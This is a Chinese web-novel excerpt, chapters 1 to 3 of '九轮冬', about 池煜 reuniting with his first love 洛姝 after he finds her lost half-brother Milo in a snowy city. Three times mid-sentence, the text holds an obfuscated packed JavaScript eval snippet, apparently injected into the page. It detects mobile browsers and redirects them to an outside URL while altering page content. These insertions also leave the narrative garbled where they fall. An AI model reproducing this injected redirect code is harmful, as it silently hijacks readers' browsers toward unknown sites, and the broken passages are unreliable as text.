《九轮冬》 1. Chapter 01 命运敲定了 《九轮冬》 文/栗音 2025.1.1 晚上八点，粱城上空飘起了雪。 池煜刚停稳了车，手机催命似得响起来，唐烨抓狂的声音从手机另一头传来：“池煜，你到哪儿了？！苏望月在这耍酒疯呢，等会给你店砸了，我可拦不住啊。” 唐烨说话一向夸张得没边儿，池煜习以为常，抓着外套下了车：“两分钟。” “行。”唐烨挂了电话。 九街一整条街足足有十二家酒吧，风格布置各异，炫彩的霓虹灯照亮夜空。来往的人太多，地上铺了一层的薄雪早已融化。 夜幕降临后的九街最是喧嚣热闹，经常能听见打情骂俏或是争执吵闹，偶尔也能听见细细的哭声，难以分辨究竟是喜还是忧。 手机噼里啪啦鞭炮似的收到一串消息，他边走路边低头看手机，消息发在群里，唐烨拍了十几张苏望月撒酒疯毁坏店内物件的照片。 唐烨：@池煜，简直惨不忍睹。 池煜：让他报销。 唐烨：［OK］［OK］［OK］就等这话呢。 图只捡着消息框里看见的几张看了一下，连大图都没点开，池煜把手机揣回兜里，裤边被什么东西扯了一下。 迈开的步子顿住，他低头看过去，就见一个银发小男孩紧紧攥住他的裤边。 这孩子约莫四五岁左右，却生得一副好皮相，五官很英挺，看起来像是个混血儿，银发压在针织帽下，衣襟前佩戴着一枚绣着英文名“Milo”的刺绣徽章，此刻哭得上气不接下气，用着流利的中文和他说话：“你好，这位帅气的哥哥，可以先听我把话说完吗？” 还挺懂礼貌。 池煜蹲下来和他平视，“你说。” Milo哇地一声又哭了，抽抽噎噎的：“你能不能帮找一下我的妈妈，我找不到她了。没有人愿意帮我，哥哥你会愿意的吧？我都哭给你看了……” 池煜给他擦掉眼泪，在粱城丢的外国小孩应该不多见，池煜点开手机准备报警，顺便随口胡说：“哥哥是警察，不要怕。” Milo大着胆子抱着他的腿：“好吧帽子哥哥，我坦白我知道妈妈在哪，我只是太累了跑不动了，哥哥你能不能抱我去找她？” “……？” 这无理的要求，小孩子还真是人小鬼大。池煜听笑了，手机重新放进衣兜去掰他手指：“不能呢，松手。” “哥哥你要报酬是不是？我有钱呀！”Milo摸索着口袋掏出一枚硬币递给他，然后双手合十：“谢谢你呢。” 池煜垂着一双杏眼，手中的硬币来回翻了个面，又重新放回他口袋里，刮了下他的鼻子：“五便士就想打发人。” 晚上温度很低，这会儿又刮起了冷风，小男孩穿得不多，雪白的小脸被冻得通红，整个人都因怕冷而发抖，偏偏一双眼睛又大又亮，纤长的眼睫毛在眼下投下大片阴影，正期待地看着他。 恍惚间他想起了那个很久没有出现在自己世界里的那个人，她也有这么一双清澈明亮的眼睛，曾期待地望着自己。 池煜认命地叹口气，把厚外套披在男孩身上，抱起他。 * 车开出了九街喧闹声小了许多，约莫是下雪的缘故，路上的行人只零星几个。 Milo很礼貌地指着车窗外离他们最近的奶茶店，问池煜自己能不能喝杯奶茶：“哥哥，我实在太渴了。” 池煜从手机里找出外卖软件，递给他：“自己选。” Milo在手机上划了两下，还给他，一脸乖巧：“要那个粉色杯杯带珍珠的。” 池煜选了热奶茶下了单，单号是［76］。 “谢谢哥哥，等会我让妈妈给你转账哦。” 还是第一次接触这么自来熟的小孩，池煜跟他开玩笑：“也不怕哥哥给你卖了换钱。” Milo歪头看他，没有上当：“哥哥你不是帽子叔叔吗？我才不信你给我卖掉呢！” 奶茶店没有客人，手机上的单号很快排到了［76］，池煜下了车拎回奶茶给他。 Milo小心翼翼地捧着奶茶暖手，插上吸管后献宝似地递给池煜：“哥哥你先喝。” 池煜已经很多年没喝过奶茶，很不给面子地说：“哥哥不喝。” “好吧。”Milo猛吸一大口，“我妈妈从来不喝我喝过的奶茶，她很嫌弃我。” 小孩子似乎天生就喜欢自娱自乐，他坐在后座，张开五指接住雪花后乐得咯咯笑，等到笑够了，抱紧奶茶杯开始哼歌。 池煜把车窗调高，提醒：“坐好。” “哥哥。” Milo乖乖坐好，煞有介事问：“你结婚了吗？” 池煜调高车内的暖气，说：“没有。” Milo惊讶：“你怎么和我妈妈一样！” 池煜笑问：“很想她结婚？” “想呀。我爸爸也想她早点结婚的。” 池煜微微挑眉，不知道是这孩子表述有问题，还是他的家庭果真就如此方式，听起来倒是和他刻板印象里相看两厌，恶语相向的离异家庭不一样。 “你妈妈知道吗。”雪花落地即刻化成水，道路上湿哒哒的像是刚下过一场小雨，他拐了个弯，朝新堂街去。 Milo惆怅着摇头：“我想给妈妈找个男朋友结婚。可是她不让我和爸爸管这个。我有爸爸，Coco有Tina，可妈妈就自己一个人，好孤单呀。唉，连玉米都有同类陪伴。” 雪越下越大，靠近新堂街这条路的行人大多行色匆匆，急着回家。 池煜指腹点了点方向盘，问：“Coco和Tina是两根玉米？” Milo摇头晃脑：“是呀是呀。” “……” 小孩子还真是奇思妙想。 Milo从后座探出头，手搭在池煜肩膀上：“哥哥，你可以和我妈妈结婚吗？” 小孩子的想法实在是太简单，道理说了他也听不懂，搪塞的话更需要语言技巧，池煜选择直接点：“不可以。” Milo垂头丧气：“唉，好吧，被拒绝了。可是你是我见过最帅的哥哥。我妈妈真的很漂亮，她单身哦，单身很久很久了。” 池煜扶起他脑袋，难得解释了一句：“哥哥对结婚不感兴趣。” Milo眼睛亮了：“那谈朋友呢？你跟我妈妈谈朋友可以吗？” 池煜从后视镜看他：“也没兴趣。” Milo像蔫了吧唧的海草：“哦，好吧。哥哥，我妈妈长得特别漂亮，等会儿你见到她……诶？” Milo喋喋不休的嘴巴突然张大，他使劲揉了揉眼睛，惊喜地指着窗外的某处：“妈妈！哥哥你看，那是我妈妈！” 池煜顺着他手指的地方看过去，那地方有些僻静，远离了喧嚣，霓虹灯也被路灯代替，光线暗了不少。 伞下，女人穿着米白色大衣，内搭一件到脚踝的红格子长裙，同色系围巾松松垮垮绕在颈间，及腰的长直发披在肩上，风雪交加，吹乱她的发丝。 她侧着身举着手机在耳边，不知在说些什么。 “妈——妈妈！”Milo从车窗中探出头，声音洪亮。 伞下那人转过头，惊喜地望过来。 她穿得并不算保暖，似乎是在室外待的太久的缘故，鼻头冻得有些红，暖黄路灯下，她绷紧的唇展开弧度，让本就明媚动人的五官更添几分颜色。 池煜看清她面容，瞳孔猛地一缩，怔在原地。 * 洛姝待在英国的第四年，她母亲谢玫和现任男友William生下了Milo，中文名也是谢玫起的，叫谢雨杉，说是生产前的一周总是梦到的这个名字。 谢雨杉今年的生日愿望是想来中国看一场雪。 因着这个突发奇想的生日愿望，洛姝陪同从英国飞往首都的父子二人马不停蹄前往即将大雪纷飞的粱城。 结果就是一连三日见到的都是明媚阳光，雪花一片都没能看见。 天气预报提醒今晚会有大暴雪，一直待在酒店的谢雨杉却蹲不住了，嚷嚷着要出来玩，水土不服的William只能拜托洛姝带儿子出门逛一圈。 出门玩也玩了，饭也吃了，等了好几天的雪终于下了，结果孩子莫名其妙丢了。 洛姝觉得这雪下得真是不合时宜。 按理来说一个小孩满头银发应该是很容易吸引注意的，可是她找了好几条街，问了不少过路人，得到的答案都是“没看见”，“不知道”，“不清楚”。 心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375712|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中警铃大作，她快速拨通110，在接通后直奔主题：“喂，您好。一小时前我弟弟他——” “妈妈！”一道稚嫩熟悉的声音在不远处大喊。 洛姝立刻回头，一辆黑色宾利停在不远处打着双闪，在看清驾驶位上坐着的人后，她刚要迈开的步子硬生生怔在原地。 黏连一块的碎雪成了块状，打着旋慢悠悠落在洛姝的脸上，凉丝丝的，很快融化成小水珠。 她快速眨了两下眼睛。 天，这又是在梦里吗？ 少女时代永远让她心动的主角，总是被她全身心依赖并唤作“哥哥”的人，在她坐上飞往英国的航班后，以为这辈子再也不能见的人，就这么出现在在眼前—— 不是没有梦到过。 此刻真的像是在梦中。 这么多年过去，池煜褪去了学生时代的青涩，五官没有多大变化，还是那个他，只是更英挺锋利了些。 那双看起来出奇乖巧的杏眼倒是少了些少年气的锋芒，不知是不是因为车内暖灯的照映，染上了一层温度，含着水色，略上翘的眼尾此刻像把钩子。 洛姝好想掐一下自己的脸，确认是否会疼痛从而辨认这里究竟是梦境还是现实，奈何两只手都没了空闲。 电话那头，接线员温柔的嗓音将她拉回神：“不要着急，您继续说。” “不好意思，打扰了。我弟弟找到了。” 洛姝挂断电话，缓慢又机械地把手机放回衣兜，放在外面太久的手指早已冰冷，她攥紧感受着有些冻麻木的手指，心跳声震得她头皮发麻。 Milo头上的针织帽拿在手中朝她挥舞，冲洛姝吹了个没声的口哨，激动大喊：“Hello美女！上车吗，上车吧！捎你一截哦。” 说完，脑袋缩进车厢里，搂住池煜的脖子，炫耀：“怎么样哥哥，我妈妈是不是特别漂亮呀？” “嗯，是。” 池煜笑了，抱他从车上下来：“口哨从哪儿学的。” “嘿嘿，电视上看到的。”Milo脚刚着地，飞快朝洛姝跑过去，池煜在他身后提醒：“跑慢点。” “好的好的！”Milo应着，一双小短腿却不停，直直奔向洛姝。 洛姝弯下腰摸了摸他发红的耳垂，声音因情绪激动有些发颤：“跑到哪儿去了，我一直找不到你。” “给你喝。”Milo把喝了一大半的奶茶递给她，眼睛亮晶晶的：“哥哥给我买的，可好喝了！” 吸管已经被他咬扁，洛姝不加掩饰地嫌弃他，“我不喝，你告诉姐姐这是不是你主动要的。” Milo点头：“嗯嗯。” 洛姝板着脸训他：“这次就算了，下次遇到陌生人不能再这样了，知道吗？” “嗯嗯，好的。” 趁着池煜还没走近，她保持着微笑脸，飞快警告Milo：“谢雨杉我说了多少遍要喊姐姐！再乱喊就要揍你了。” 谢玫自从生完孩子身体每况愈下，越发思念故土，带着三岁的Milo和男友搬到了首都，后来生了场病，整日待在医院里。 洛姝就是那时候回的国，一直待在母亲身边，后来办完了谢玫的身后事，她也没了回英国的想法，定居在首都。 反倒是William常常带着Milo两个国家来回跑。 洛姝长得很像年轻时候的谢玫，Milo总是会拿着谢玫年轻时候的照片，指着洛姝喊“妈妈”，以至于这两年他喊得很顺口，明知道洛姝是姐姐，但习惯性喊“妈妈”。 警告完突然又想起来，池煜一直在Milo身边，那么大声地喊，他要是没听见真得去医院治治耳朵。 算起来有九年没见，她的长相虽然没有太大的变化，但毕竟过了这么多年，变化还是有的，他未必能认出自己来。 刚在心里哀嚎又抱着侥幸心理，总是出现在梦里的人已经迈大步走到了她面前，准确无误地喊出她的名字：“洛姝。” 对比起洛姝的手足无措，池煜表现得倒是自然多了，寒暄的语气正常地像是不久前见过的老朋友：“来粱城玩？” “嗯。” 距离过近，洛姝悄悄调整了呼吸，刚要搭话茬，就听池煜笑着说：“孩子长得很像你。” 洛姝：“……” 2. Chapter 02 洛姝其实很想解释—— 谢雨杉之所以和自己很像是因为，他是我同母异父的亲弟弟。 可一想到有没有谢雨杉这声称呼，她和池煜都没可能，他俩的可能早在九年前就被掐断了。 还不如将错就错就这么应付过去算了，反正她不可能一直待在粱城，今晚和池煜见的这一面，也许就是为那年不告而别做个收尾。 谢雨杉虽然是个混血儿，但除了那一头扎眼的银发和略有些英挺的五官外，其实混血感并不算特别强烈。 洛姝从小和池煜一起长大，自己小时候的模样想必他还记得，谢雨杉是自己的亲弟弟，又生了一双和她母亲很像的眼睛，被人误会姐弟俩是母子，似乎也能有点依据。 思及此，洛姝索性扯了扯唇角，勉强露出个笑容。 算了。 她再次在心里这样说。 不是说时间会冲淡一切吗？都过去这么多年了，他们之间的情谊，对彼此生出的情愫想必都被时间长河冲刷干净了。 Milo完全没察觉到两个大人之间存在的古怪气氛，手舞足蹈地拉着洛姝在说是如何在人群里找到池煜，又是怎样说服了他来找自己。 洛姝掏出手机给William报了个平安，顺便把他们的位置发过去，脸颊边的长发被她绕到耳后，露出得体的笑容：“Milo第一次出远门，他很调皮，这一路麻烦你了。” 池煜摸了摸Milo的头发，眼睛里含了几分玩味：“他挺活泼的，跟你小时候很像。” 洛姝帮Milo重新戴好针织帽，“小孩子都是这样。” 路边的建筑上堆了一层薄薄的雪，洛姝的伞面偏移，给池煜做遮挡：“你呢，怎么在粱城。” 他回答的简单：“店在这里。你跟孩子要在这待一阵么。” 洛姝心不在焉点头：“嗯，Milo想来看看雪。” “这地儿我熟啊。”池煜笑起来，掏出手机点开通讯录递给她让她输入号码：“我在这待了两年，也算半个导游。” 洛姝也没端着，输入了自己的号码，重新把手机递过去：“就是不知道这场雪会不会下很久。” 池煜扫了一眼就记住了她的号码，点开微信，没去理会群里狂轰乱炸的消息，点开界面右上角输入她的号码添加微信：“加你微信了。改天一起吃个饭吧，望月前一阵还提起了你。” “嗯，好。”洛姝镇定地掏出手机，当着他的面通过了好友申请。 Milo原本双手抱着奶茶，抬头听着两个大人说话，突然踮起脚尖，一个箭步跑出去，“爸爸！” William拳头抵在唇边，咳了好几声后，抱起儿子恐吓他，“再乱跑小心挨揍。” Milo吐舌头：“妈妈已经教训过我了。” William捏着他耳垂，提醒他：“还敢乱喊，姐姐会揍你的。” Milo点头如捣蒜：“知道了，下次不会乱喊了。” 池煜偏移目光，淡淡看向父子二人，距离有些远他没能听见父子俩在说什么，注意力全放在Milo这位年纪看上去着实不太轻的父亲身上。 看起来快四十岁，个子很高，Milo遗传了他的发色和肤色，只是瞧着身体似乎不大好，脸色很差一直在低咳。 池煜有很多问题想问，但又不知从何说起，毕竟错过了她太多的际遇。 不管怎么说，他们两个人分开了不是吗，连孩子都忙着要给妈妈找另一半。 池煜收回神，“小家伙说要给你找个男朋友。” “……他乱说的。” 看不出来谢雨杉在外人面前还挺健谈，什么都往外说，她这个当姐姐的今晚回去要好好教训弟弟了。 池煜笑了下，继续说：“他拉着我不撒手，看起来很喜欢我。” 这么多年过去池煜似乎有很大的变化，就比如现在，总是要把话题引到她所想的那一层面去。 洛姝突然有一种无处遁逃的尴尬，走也不是，留也不是，好在池煜的手机响了，William这时候也喊了她，“洛洛。” 洛姝应声回头，没来由地松了一口气，“开店很忙吧？你去忙吧，我也该回去了。” 刚转过身，池煜在身后喊住她：“对了。” 没去管扰人的手机铃声，他继续说：“我未婚，你要不要考虑一下。” 洛姝呼吸一滞，慌张地眨了两下眼睛，不等她说些什么，发顶被池煜摸了摸：“跟你开玩笑的。我回去了，再联系。” 说完不等洛姝回应，阔步离开。 * 身后的宾利驶远了。 洛姝小跑着到父子二人跟前，William抱着昏昏欲睡的Milo朝疾驰的汽车抬了抬下巴：“是朋友吗？” “以前和您提过的，是池煜。”洛姝将下巴缩回围巾里，举高伞打在父子二人头上，边走边感慨：“没想到会在这里遇到他，也幸好雨杉遇到的是他。” William笑说：“有缘千里来相会。” 洛姝无奈：“瑞叔，这话不能这么用。” William给自己起的中文名字叫谢瑞，在认识谢玫之前他给自己起名叫白大山。 她抬起头，呼出一口热气，“说不定他还在心里埋怨我当年连招呼都不打一声就去英国呢。” 洛姝是16岁去的英国，谢瑞对她很好，平时像朋友一样相处，她跟池煜的事情谢玫和谢瑞基本上都清楚，她也没什么好藏着掖着的。 今晚完全想不到会见到池煜，有很多话藏在心里实在太久，闷得她透不过气，借着今晚，她忍不住多说了几句。 谢瑞把她让到路里侧，说：“在担心你们之间会有隔阂？” “早就有了。” 洛姝声音闷闷的，她想到自己那时候出国前就把那张电话卡和手机都丢了，只记了几个好友的联系方式。 手机被她随手丢进了机场外的垃圾箱里，就这样简单粗暴地断绝了和池煜的往来。 谢瑞腾出一只手拍了拍她的肩，示意她安心：“怎么会呢？我刚刚可是看见他一直盯着你笑。你可能不知道，当时你刚上高一，你妈妈实在想念你，又怕你不愿意见她，只能躲在远处偷偷看你一面。我陪着她曾在学校门口远远见到过你们，当时这个孩子看着你就是这样笑，过去这么多年都没变。我想，你应该不会忘记他那辆总是载着你上下学的黑色单车。我想，他还会像以前一样对你。” 听到最后，洛姝忍不住反驳：“那是因为——” 那是因为他们两个从小一起长大，从记事起自己就追在池煜身后喊哥哥，再到后面父母离婚后她住进池家，和池煜同住一个屋檐下。 他会像以前一样对她，也许是遵从早已习惯的刻板行为。 她把话通通咽回肚子里，跺了跺脚，不再提了：“太冷了瑞叔，再不回去就要冻成雪人了。” * 不同于别的寂静街道，酒吧街依旧喧闹，光影交织的霓虹灯有些晃眼，池煜慢悠悠地推开门，绷着一张脸的唐烨就等在门口：“不是兄弟，你这两分钟过去了一个世纪！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375713|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“砸坏了多少，只管记他账上，他之前不是说了么。”池煜漫不经心地扫了眼，没看见苏望月，估计又被抬到楼上休息室睡觉去了。 他走到吧台要了杯酒：“他那半杯倒的酒量你还由着他喝，喝多了开始撒酒疯，东西砸坏了你又心疼。” “我当然心疼了，店里哪样不是我布置，你这个甩手掌柜日子倒是滋润。”唐烨双手抱臂，看着池煜一直笑眯眯的，眯起眼睛凑近他：“不是，你晚上遇着谁了啊，怎么这么高兴？” 池煜搭在桌上的手敲了敲：“我哪天不高兴？” 唐烨啧了声：“你还真就今天高兴。平常看着是在笑，心都不知道飞哪儿去了。”他朝调酒的小李扬了扬下巴，“是吧。” 小李嘿嘿笑了两声：“我可看不出来，老板平时不就这样吗？” “啧，和你这个不开窍的小年轻说不清楚。” 唐烨又转向池煜：“瞧你乐的，铁树开花了是吧。” “少乱用词啊你。”池煜笑着喝完杯中的酒，打了支烟放在手边，没抽，想了想又按灭，言归正传：“等会我送他回去。” 唐烨嗯了声，朝小李飞了个眼神过去：“看见没，你老板什么时候这样反常过。” 小李点头，“煜哥，你今天真有点反常，平时虽然点根烟夹手里也没有立刻按灭过。” 池煜胳膊搭在桌沿，低头翻看着手机：“别跟着唐烨瞎猜，他这人就爱捕风捉影，你又不是没见识过。” 唐烨晃了晃杯中的冰块，瞥见池煜来来回回点开微信又退出，似笑非笑：“兄弟，你还嘴硬呢。是不是遇到姑娘了？” 他跟池煜是大学室友，从大学到现在追池煜的女孩只多不少，没见他同意过谁，也没见他提过谁。 “行了，我说。”池煜失笑，手机翻了个面放在桌上，手指指腹沿着机身摸了下又收回手：“是遇到了个姑娘。不过唐烨你这个刨根问底的性子可真得改改。” “这话说的，我要是改了哪还能把你的话套出来啊？”唐烨忍不住八卦：“什么样的姑娘把你迷住了，能让你乐到现在是我没想到的。让我猜一下啊，你不像是对姑娘一见钟情的，是认识的人吧，我认识不？” 小李调酒的速度都慢了些，竖起耳朵听。 池煜从桌上的盒子里摸了块薄荷糖，拆开包装纸放进嘴里，包装纸被他叠成小方块后丢掉，才含糊不清地说：“初恋。你没见过。” 唐烨诶了声，在他肩上拍了下，感觉不可思议：“真是稀奇，从来没听你提起过。什么时候谈的？你跟望月初中就认识，他认得吧。” “高中时候的事了。”池煜垂下了眼睛，像是陷入了某段记忆，声音也有些模糊：“他认得。” 唐烨：“嚯，你俩嘴巴挺严实啊，这事儿我是一点没听苏望月提起过。话又说回来，我真没看出来你还早恋过，你爸妈当时什么态度啊？不过你成绩那么好就算是谈恋爱也不会多说吧。” 小李燃起熊熊八卦之心：“老板你真是深藏不露。” 池煜没搭腔。 他在想这么大的雪，洛姝到酒店了吗，那么怕冷却只顾着风度穿着不保暖的羊呢大衣，怎么就学不会好好照顾自己呢。 唐烨见他不说话，当他是高兴傻了：“啥样的姑娘让你惦记这么久啊，见一面魂不守舍了，到现在还念着呢，够长情的呀你。” 池煜被他这一调侃掐断了思绪。 他也不恼，看着舞台上的歌手换成怀抱吉他唱情歌的长发男人，静静听了会儿，才笑着回答：“是啊，忘不掉。” 3. Chapter 03 到了酒店乘坐电梯时，洛姝才发觉自己的半个肩头和头发被雪水沾湿，米白色的羊呢面料湿了一块颜色略深，发梢还坠着水珠稍稍打卷。 她看着电梯镜子中的自己，这模样有些狼狈。 头发是从什么时候开始被淋湿的，会不会从刚见到池煜和他说话的那一刻？妆是下午画的，晚上和朋友约了饭之后准备一起去逛街，谁知道谢雨杉跑丢了，她只好和朋友告别去找弟弟。 找了那么久，妆会不会有些花了？ 她跟池煜离得这么近，他又盯着自己看，一定能看到吧。今天卡粉了吗？似乎没有吧，妆挺服帖的…… 谢雨杉乱跑找不见人让她神经也很紧绷，跟池煜面对面说话的时候，微笑还得体吗，表现得自然吗？ ……真让人头大。 洛姝贴近镜子看了眼今日的妆容，美瞳没有滑片，睫毛没有被刷成苍蝇腿，没有任何地方卡粉浮粉，只有口红有些掉了没来得及补。 她抿了抿唇，下意识想从包包里掏出口红补一下妆，在摸到口红的时候又顿住，电梯楼层到了7，再补口红似乎已经没什么必要。 电梯里就他们三个人，谢瑞看在眼里，问：“今天你的妆容跟平常一样精致。为什么一直盯着看，是哪里不合心意吗？” 洛姝笑了笑：“只是觉得我还可以化得更好。” 谢瑞失笑着摇头，洛姝自从见过池煜之后就有些一反常态，他没有往这上面再提，只是说：“那我拭目以待你卓越的化妆技术。” 说话间，楼层到了。 洛姝迅速回了套间，卸了妆梳洗完吹干头发躺在床上的时候，已经快十一点钟。 困意席卷，她闭上眼睛准备陷入睡眠的时候，手机突然响了一声，让她心脏猛地跳了一下。 困意消了大半，她拿起枕边的手机点进消息数量为1的微信，看清楚是关注的公众号发来消息：「粱城这家店，火了！免费吃！很多人赶来……」 快速扫了眼内容，她兴致缺缺地点了退出，在看见池煜的微信时鬼使神差地点进了他的头像，消息界面只有他申请发过来的那条，简单的两个字，做自我介绍似的：池煜 连标点符号都没有。 她又点进他的朋友圈，上一条朋友圈的日期是去年夏天，是一张照片，拍了只金毛的狗脑袋，他的左手入镜，白皙修长的指节垂在一侧，手腕似乎有一道小小的疤。 洛姝点开图片放大，她记得这个疤，是以前上学的时候，池煜揍了个对她开黄.腔的人留下的。 这只金毛会是他俩以前捡到的那只吗？ 或许是那只，他俩捡到狗的时候它还没满月，她跟池煜一起照顾了三个月之后，她就没再去过池煜的住处，之后忙着处理出国的相关事情，自顾不暇自然就注意不到旁的事。 池煜的朋友圈没有时间限制，但几乎一年内发不了几条，随手一翻就已经看到了好几年前的朋友圈，他养的绿植长势喜人。 她不太懂养护花草，兀自往后翻了几条，朋友圈配图的照片无一例外都是一张图，或是风景，或是建筑，很少有文字，也就看不出任何情绪。 洛姝没再往下看，缩在被窝里翻回第一张照片，那道疤来来回回看了好几遍，鬼使神差地点了保存，提醒她“已保存到系统相册”的下一秒，弹出来一条微信消息。 池煜：还没睡？ 洛姝怔了一下，难道是手速太快，点进头像不小心触发了拍一拍？ 她立刻退出池煜的朋友圈，点进消息界面才发现自己多虑了。 回什么呢？ 打出的字删删减减，最终什么都没有回，丢掉手机整个人蒙在被子里酝酿睡意。 可思绪已经乱了，她十分清醒，胡思乱想了许久，最终决定。 睡醒了再说。 * 「对方正在输入…」 池煜等了一阵，备注上的那行字重新变成了名字，又变成了正在输入，反反复复，他也没能等到洛姝的回复。 他看了洛姝的朋友圈，很可惜仅三天可见，唯一能了解到她生活近况的方式被阻断。 落地窗外，雪没有停下的趋势，金毛小狗兴高采烈地摇着尾巴，一边去看窗外纷扬的雪花，一边用脑袋去拱始终垂着头看手机的主人。 腿被毛茸脑袋一个劲地推，池煜低下头，摸了摸它：“德芙。” “汪！”德芙尾巴摇地更欢。 池煜摸了摸它的耳朵：“你妈妈回来了，想不想见见她。” 原先只有手掌心大小的幼犬长成了乖顺的大犬，而那个学生时代总是会对猫猫狗狗发散爱心的小姑娘，怜爱地摸着小狗脑袋，心生怜悯：“我们养它吧。” 掌心的温度从残留到消失，眨眼间竟然过了九年时间。 * Milo睡醒第一件事就是爬起来看雪。 早上八点雪还未停，用鹅毛大雪比喻再合适不过，他惊地张大嘴巴，盯着窗上堆积的雪花看了片刻，迅速洗漱完毕穿好衣服冲出去按洛姝套间的门铃。 洛姝在睡梦中被吵醒，在床上赖了会儿才起来开门。 “早上好姐姐！”谢雨杉双手放在身前，头发被梳了起来，像个小绅士：“你看见雪了吗，好漂亮好漂亮。” 洛姝带着他进客厅，拉开了窗帘，她倒是没想到这场雪下了这么久还没停，城市的钢铁森林银装素裹，入目皆是雪色。 “现在看见了。”有些刺眼，洛姝拉上半边窗帘要回卧室继续睡：“等会儿早餐送来你自己吃。” 谢雨杉乖巧应下：“好的。” 洛姝回了卧室没把门关严实，躺回床上没睡着在看手机，熊孩子又敲响了门：“姐姐。” 在得到应允后，谢雨杉趴到床边攥着被子的一角，“姐姐，你有没有……”看着洛姝点进一个聊天对话框发呆，那个人给她发的消息她并没有回复。 谢雨杉很早就开始认汉字，他的注意力轻而易举地转移，盯着那条消息不由得读出来：“还没睡？” “姐姐，这都是昨天发的了，你为什么不回人家呀？”他凑近屏幕，边说话边看着洛姝的脸色：“好没礼貌哦。” “……”洛姝屈起指节在他头上敲了下，“大人的事少管。要跟我说什么？”然后快速给池煜回了消息。 谢雨杉这才想起来要说的话：“你有没有给那个哥哥转账呀，昨天他给我买了奶茶，我答应好让你给他转账的。” 洛姝逗他：“怎么办，我没有他联系方式。” 谢雨杉撇撇嘴，有点想哭了：“真的吗，那就没办法了呀，昨天你们说了好久的话，不是认识吗，为什么连联系方式都没有呀？”说着说着眼圈就红了，他忍着不掉下眼泪：“那他会觉得我是坏孩子吗？” “逗你玩呢，不是说自己是男子汉吗还哭鼻子。”洛姝给他擦了擦眼睛，点开转账把手机递给他让他自己输入金额。 谢雨杉对金钱没什么概念，在手机上点了几下转过去之后，直接把手机放到了床头柜上，捧着脸问：“姐姐，今天可以去堆雪人吗？” “可以。” 小绅士伸出小指：“那说好了哦，拉勾。” 洛姝打了个哈欠，配合他拉勾，上吊，一百年不许变。 微信提示音响了一声，谢雨杉两手捧着把手机递过来，她点进去，池煜回了个“？”并且退还了转账9888。 洛姝没忍住掐住谢雨杉脸颊的软肉：“你那杯奶茶用金子做的？” 换做是她，莫名其妙收到9888也会扣个问号吧。 正要打字解释一下，池煜电话打过来了，听起来似乎心情不错，声音带着笑：“睡迷糊了？” 洛姝绕了一圈头发缠在手指上，解释：“Milo说要把奶茶钱转给你，他不知道金额随便点的。” 谢雨杉在旁边像个犯了错的小孩，紧紧捏着手指：“我想起来还没有跟哥哥说过谢谢。” 洛姝把手机递给他，让他自己说。 “哥哥，我是Milo，谢谢你昨天给我买奶茶喝。” 池煜的声音听起来有些低：“奶茶就当叔叔请你喝的。要是真想谢，你就跟着妈妈一起来吃饭吧，叔叔请客。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375714|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢雨杉眨眼睛，询问世界上最好的姐姐：“可以吗？” 这通电话是外放，洛姝听得一清二楚，“你想去吗。” 谢雨杉狂点头：“想。” 洛姝盘腿坐在床上，歪着头看他：“你问问哥哥在哪里吃饭。” “哥哥，地方在哪里呀？” “在西环路的久膳坊。今天雪很大，出行不太方便，叔叔去接你们。” 谢雨杉用眼睛询问洛姝，在看见洛姝点头后才应下来：“好呀，我们住在香梵哦。” “嗯，十一点我过去接你们，问问你妈妈同意吗。” 看着洛姝点头，谢雨杉抓着手机传达，称呼也因他受了影响：“我妈妈同意啦，叔叔你路上注意安全哦，不要着急。” 通话结束后，洛姝仍盘腿坐在床上不知道在想什么，谢雨杉扯了扯她的衣角：“姐姐，你快起来洗漱呀，等你画好妆咱们就可以去和叔叔吃饭了。” “早饭都没吃就想着午饭啦？”洛姝笑着刮他鼻子，下床去卫生间之前纠正谢雨杉：“不要喊他叔叔，要喊哥哥。” 小绅士不懂：“为什么呀姐姐？” “因为姐姐也喊他哥哥啊，你喊叔叔岂不是乱了辈分。” * 池煜挂掉电话的那一刻，苏望月抱着德芙坐在他对面，神色复杂：“我昨天是喝断片了，但是应该没把脑子喝坏吧。你就算想投入一段新感情也不能这么乱来啊，勾搭上少妇了你，还要带着人儿子吃饭，她老公是摆设吗……是死了吗？？你这么明目张胆。” 一口气说完，苏望月觉得口渴，端起杯子猛地灌了一大杯水：“打哪儿认识的，你这也太突然了。” 长得这么正，三观怎么突然歪了呢。 池煜默了片刻，才开口：“她是洛姝。” “谁？！” 苏望月一口水差点呛到气管，情绪有些激动：“我靠！不是……真的假的啊？跟你打电话的真是洛姝？！是咱俩认识的那个洛姝啊？” “那不然呢？”池煜睨他一眼，反问。 